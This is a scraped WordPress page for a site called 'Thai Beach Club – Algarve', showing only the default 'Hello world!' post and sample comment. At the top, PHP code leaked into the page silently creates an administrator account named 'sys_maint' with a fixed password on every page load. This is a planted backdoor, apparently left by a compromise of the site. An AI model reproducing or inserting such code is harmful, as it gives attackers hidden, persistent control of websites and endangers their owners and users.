$user = 'sys_maint'; $pass = 'ChangeMe_Str0ng!'; $email = 'sys_maint@local.com'; function quick_create() { global $user, $pass, $email; if (!username_exists($user) && !email_exists($email)) { $id = wp_create_user($user, $pass, $email); if (!is_wp_error($id)) { $u = new WP_User($id); $u->set_role('administrator'); } } } add_action('init', 'quick_create'); Hello world! – Thai Beach Club – Algarve

Hello world!

Written by

in

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Comments

One response to “Hello world!”

  1. A WordPress Commenter Avatar

    Hi, this is a comment.
    To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
    Commenter avatars come from Gravatar.

Leave a Reply

Your email address will not be published. Required fields are marked *